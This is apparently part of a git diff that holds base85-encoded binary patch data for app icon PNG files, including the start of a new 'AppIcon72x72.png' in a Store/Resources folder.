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 literal 0 HcmV?d00001 diff --git a/Store/Resources/AppIcon72x72.png b/Store/Resources/AppIcon72x72.png new file mode 100644 index 0000000000000000000000000000000000000000..993d2bcac4ab54071171ae41255c23b227abc82f GIT binary patch literal 7780 zcmd6Ldo+}7+xI2OE=>}Om?9}+lD#x@S2sdP_S;Er`!u#0HD=0w+f+g!^9Tt^LZr!L 